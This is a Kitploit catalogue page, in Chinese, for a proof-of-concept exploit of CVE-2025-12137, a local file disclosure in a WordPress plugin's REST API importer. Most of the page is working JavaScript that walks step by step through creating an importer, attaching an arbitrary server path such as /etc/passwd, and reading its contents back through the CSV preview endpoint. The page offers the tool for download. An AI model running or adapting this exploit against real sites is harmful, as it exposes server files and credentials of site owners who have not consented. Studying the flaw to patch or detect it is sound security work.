Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-12137 — 针对CVE-2025-12137的概念验证漏洞利用,演示通过WordPress插件的REST API导入器端点实现本地文件泄露。包含逐步的JavaScript代码,用于附加、处理和预览任意服务器文件。 | Kitploit
工具/GitHubGitHub/jfriedli/cve-2025-12137
漏洞分析漏洞利用Web应用程序漏洞利用数据泄露信息收集渗透测试
GitHubjfriedli/cve-2025-12137

CVE-2025-12137

针对CVE-2025-12137的概念验证漏洞利用,演示通过WordPress插件的REST API导入器端点实现本地文件泄露。包含逐步的JavaScript代码,用于附加、处理和预览任意服务器文件。

查看仓库
25个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

1) 使用当前 nonce 调用插件 REST API 的辅助函数

root@kitploit:~
async function iwpFetch(path, method='GET', body) {
  const nonce = window?.wpApiSettings?.nonce || jQuery?.ajaxSettings?.headers?.['X-WP-Nonce'];
  const res = await fetch(`${location.origin}/wordpress/wp-json/iwp/v1${path}`, {
    method,
    headers: { 'Content-Type':'application/json', 'X-WP-Nonce': nonce },
    body: body ? JSON.stringify(body) : undefined,
    credentials: 'same-origin'
  });
  const text = await res.text();
  try { return JSON.parse(text); } catch { return { status: res.ok ? 'S':'E', data: text }; }
}

2) 创建一个新的 importer

root@kitploit:~
const created = await iwpFetch('/importer', 'POST', { name: 'PoC Local File Disclosure' });
const IID = created?.data?.id;

console.log('Importer created', created);

if (!IID) throw new Error('Failed to create importer');

3) 附加服务器上的任意本地文件

(示例:Linux 上的 /etc/passwd)

root@kitploit:~
// Tell the server we’re “attaching” a local file path
const attach = await fetch(`${location.origin}/wordpress/wp-json/iwp/v1/importer/${IID}/upload`, {
  method: 'POST',
  headers: {
    'X-WP-Nonce': (window?.wpApiSettings?.nonce || jQuery?.ajaxSettings?.headers?.['X-WP-Nonce']),
  },
  body: new URLSearchParams({
    action: 'file_local',
    local_url: '/etc/passwd',     // replace with any readable server path
    filetype: 'csv'               // forces CSV pipeline so preview returns raw lines
  }),
  credentials: 'same-origin'
}).then(r => r.json());

console.log('Local file attached', attach);

4) 处理“CSV”以初始化配置/计数 (可安全重复运行)

root@kitploit:~
const processed = await iwpFetch(`/importer/${IID}/file-process`, 'POST', {
  delimiter: ',', enclosure: '"', escape: '\\'
});

console.log('File processed', processed);

5) 通过 CSV 预览端点预览文件内容

root@kitploit:~
const row0 = await iwpFetch(`/importer/${IID}/file-preview`, 'POST', {
  record: 0,
  delimiter: ',',
  enclosure: '"',
  escape: '\\',
  show_headings: 'false'
});

console.log('Row 0', row0);

const row1 = await iwpFetch(`/importer/${IID}/file-preview`, 'POST', {
  record: 1,
  delimiter: ',',
  enclosure: '"',
  escape: '\\',
  show_headings: 'false'
});

console.log('Row 1', row1);

// 预期结果: // row0 / row1 数组包含来自 /etc/passwd 的分割字段,例如: // row0.data.row → ["root","x","0","0","root","/root","/usr/bin/zsh"]

下载工具